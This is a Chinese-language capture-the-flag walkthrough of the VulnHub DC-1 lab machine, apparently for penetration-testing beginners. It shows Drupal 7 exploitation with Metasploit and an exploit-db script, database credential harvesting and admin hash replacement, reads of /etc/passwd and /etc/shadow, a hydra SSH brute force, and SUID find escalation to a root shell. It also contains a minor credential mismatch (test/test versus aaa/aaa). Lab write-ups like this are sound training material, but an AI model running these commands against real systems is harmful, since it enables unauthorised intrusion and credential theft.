一、靶机详情
DC-1 是 VulnHub 平台上面向渗透测试初学者的经典靶机,核心围绕 Drupal 7 漏洞利用与 Linux 本地提权,目标是获取 root 权限并收集全部 5 个 flag,非常适合巩固 Web 渗透与基础提权流程。
配置介绍
- 靶机:192.168.1.133
- kali:192.168.1.134
二、信息收集
1.获取目标 ip
arp-scan -l

nmap -sn 192.168.1.0/24

2.扫描目标信息
(1)nmap -p- 192.168.1.133

通过对目标分析,发现 80 端口开放。

(2)查看 wappalyzer

(3)目录扫描
dirsearch -u 192.168.1.133

三、搜寻漏洞及利用
1.msf 搜寻漏洞
根据信息收集发现使用的是 Drupal 内容管理系统。使用 msf 查看是否有该框架的漏洞信息。发现 1 和16都可以使用。

(1)use 1
- use 1 使用第一个
- show options 查看需要配置的参数
由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置


(2)use 16
- use 16
- set rhosts 192.168.1.133
- run

如果进入 meterpreter,则表示漏洞利用成功。
2.进入普通 shell
先输入 shell,进入 shell,不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句进入 shell。
python -c 'import pty; pty.spawn("/bin/bash")'

3.进行普通 shell 收集信息
(1)找到 flag1
找到第一个 flag

(2)找到 flag2
根据提示:每一个好的CMS都需要一个配置文件,寻找配置文件 setting.php,打开 setting.php 发现 flag2 并发现数据库账号和密码。
find / -name settings.php

根据数据库账号和密码尝试登录数据库,对数据库进行信息收集。
● show databases; //查看数据
● use drupaldb; //进入数据库
● show tables; //查看该数据库中的所有表
● select * from users; //查看用户信息
● exit; //退出


(3)得到admin用户加密后的密码

4.登录到 admin 用户
在数据库中发现 web 端 admin 用户及密码,但是密码被加密。
(1)修改 admin 密码
在/var/www/scripts 下发现数据库中密码加密的脚本 password-hash.sh。

此脚本为 php 格式,用 php 执行该脚本,重新获取自定义的 admin 用户新密码,然后更新数据库,修改 admin 管理员的密码。

php password-hash.sh admin //生成新密码

将 admin 的 hash 后的密文(密码)替换数据库中 admin 的密码,即可用此密码进行登录。
UPDATE drupaldb.users SET pass = '$S$DYEZyg0O9hNmr8hdcTULtMRyUHJyuh9svXBc9f9sMePDMSEfqb32' WHERE name = 'admin';

用账号 admin,密码 admin 登录 web 页面。


(2)添加新管理员用户
在之前信息收集的时候我们发现 Drupal 的版本为 7,利用 msfconsole 的漏洞查找工具 searchsploit 来查找关于 drupal的SQL注入漏洞。
searchsploit drupal

我们通过 34992.py 这个 exp 来添加管理员用户。
首先找到34992.py 脚本的位置并将该脚本复制到 test 文件夹下。
sudo find / -name 34992.py
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /home/kali/Desktop/test

运行 34992.py 脚本得知需要三个参数,目标 url 地址,账号和密码。
python 34992.py

添加三个参数重新运行 34992.py 脚本。
python2 34992.py -t http://192.168.1.133/ -u test -p test

用新添加的管理员用户 aaa,密码为 aaa 登录 web 端。

(3)找到 flag3
进入后台搜索发现 flag3.


四、提权
1.找到 flag4
使用 cat /etc/passwd 查看,发现有 flag4 用户

根据 flag3 提示使用 shadow 查看 flag4 账号密码
cat /etc/shadow

发现没 shadow 权限,使用 hydra 进行爆破
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.133

得到密码为 orange,使用 ssh 进行登录,找到 flag4
ssh flag4@192.168.1.133

2.使用 find 提权
根据 flag4 的提示需要获取 root 权限权,得到最后的 flag。
查找设置了 suid 权限的文件。
find / -perm -u=s -type f 2>/dev/null

find 命令用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行。
ls -l $(which find) #查看find命令的权限
find /etc/passwd -exec whoami \; # 查看当前命令的用户
find /etc/passwd -exec "/bin/sh" \; #获取一个shell

3. 找到 thefinalflag

五、总结
1.SUID 提权
SUID(Set User ID)提权是 Linux/Unix 系统中一种利用特殊权限可执行文件,实现普通用户临时获得文件所有者权限的提权方式 。
(1)权限原理
- 普通可执行文件:用户执行程序时,程序的权限 = 当前用户的权限。
- SUID 权限可执行文件 :用户执行程序时,程序的权限 = 文件所有者的权限(而非当前用户权限)。
(2)查找设置了 SUID 权限的文件
find / -perm -u=s -type f 2>/dev/null
- find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
- /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
- -perm -u=s:
-
- -perm:是按文件权限查找的选项 。
- -u=s :这里
u代表文件所有者(user ),s代表设置了 SUID(Set - User - ID )权限 。-u=s表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
- -type f :-type 用于指定查找文件的类型,
f表示只查找普通文件,不包括目录、设备文件等其他类型文件 。 - 2>/dev/null:
-
- 2:代表标准错误输出(stderr )的文件描述符 。
- >:是输出重定向符号 。
- /dev/null :是一个特殊文件,被称为 "黑洞" 设备,所有写入它的数据都会被丢弃。
2>/dev/null意思是将命令执行过程中产生的错误信息重定向到/dev/null,即不显示错误输出 。
(3)find 的 suid 权限使用
find :用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行